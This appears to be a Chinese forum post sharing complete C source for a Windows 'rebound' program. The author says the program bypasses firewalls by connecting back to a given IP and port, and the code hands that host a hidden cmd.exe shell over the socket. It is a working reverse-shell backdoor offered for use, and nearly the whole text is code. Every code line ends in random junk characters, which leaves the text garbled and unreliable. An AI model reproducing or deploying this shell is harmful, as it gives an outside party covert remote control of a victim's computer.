这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]vyu!
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/* ============================== >y2;sJ4]D%
Rebound port in Windows NT wH=L+bA>a
By wind,2006/7 COE,pb17
===============================*/ o)X(;o
#include MWsjkI`
#include WcCJ;z:S?k
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#pragma comment(lib,"wsock32.lib") J3]W2m2Zw
ECO4ut.d
void OutputShell(); F/"Q0% (m
SOCKET sClient; a?zn>tx
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >q'xW=Y
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void main(int argc,char **argv) ^J?ExMu
{ 'f#i@$|]
WSADATA stWsaData; +<G |Ru-
int nRet; p19[qy~.
SOCKADDR_IN stSaiClient,stSaiServer; @>wD`<U|
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if(argc != 3) @R5jUPUVV
{ h\oAW?^
printf("Useage:\n\rRebound DestIP DestPort\n"); kQ,#NR/q6
return; }!5x1F!
} 'IorjR@40
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WSAStartup(MAKEWORD(2,2),&stWsaData); W\'njN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K3jPTAw=#
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stSaiClient.sin_family = AF_INET; 02Ftn&bi
stSaiClient.sin_port = htons(0); m=^`u:=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y:U'3G-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @}#" o
{ Q*S|SH-cZ0
printf("Bind Socket Failed!\n"); w/8`]q
return; CDDx %#eG>
} 7x/S4Gs'4
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stSaiServer.sin_family = AF_INET; DCJmk6p%0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~?V+^<P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?_\t7f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hSxlj7Eo^T
{
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printf("Connect Error!"); xW$F-n
return; ]=s!cfu
} o/EN3J
OutputShell(); dDuT,zP
} M18H1e@Al
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void OutputShell() y8Q96zi
{ =h?Q.vad
char szBuff[1024]; 49)A.Bh&!
SECURITY_ATTRIBUTES stSecurityAttributes; @%4MFc0`!
OSVERSIONINFO stOsversionInfo; jpL'y1@Ut
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $jt UQ1
STARTUPINFO stStartupInfo; ,BK6a'1J
char *szShell; ;l^4/BR
PROCESS_INFORMATION stProcessInformation; ?;{fqeJz
unsigned long lBytesRead; p*11aaIbp~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l!n<.tQW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z_Gb9
stSecurityAttributes.lpSecurityDescriptor = 0; UbBo#(TZ)
stSecurityAttributes.bInheritHandle = TRUE; lpW|GFG
h)%}O.ueB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .g CC$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x^UE4$oo
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Mo+mO&B
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NDG3mCl
stStartupInfo.wShowWindow = SW_HIDE; tMN^"sjf*
stStartupInfo.hStdInput = hReadPipe; 5e!YYt>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @ljvTgZ(X
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GetVersionEx(&stOsversionInfo); -1tdyCez
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switch(stOsversionInfo.dwPlatformId) |!r.p_Zt
{ N=qe*Rlf
case 1: TBfX1v|Z)
szShell = "command.com"; O"otzla
break; 5z ebH
default: 5rAI[r
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szShell = "cmd.exe"; moQ><>/
break; ZE#f{qF(
} oB9t&yM
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #!IezvWf
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send(sClient,szMsg,77,0); =AFTB<7-^
while(1) b\/:-][
{ tK<GU.+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); < bHu9D
if(lBytesRead) r]x;JBy
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N-x~\B!
send(sClient,szBuff,lBytesRead,0); {VWUK`3
} )I80Nq
else 0>
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{ B,sv! p+q5
lBytesRead=recv(sClient,szBuff,1024,0); b8V]/
if(lBytesRead<=0) break; 2.I'`A
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \V@Hf"=j
} ` [ EzU+
} njk.$]M|nf
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return; \NYtxGV[Z
}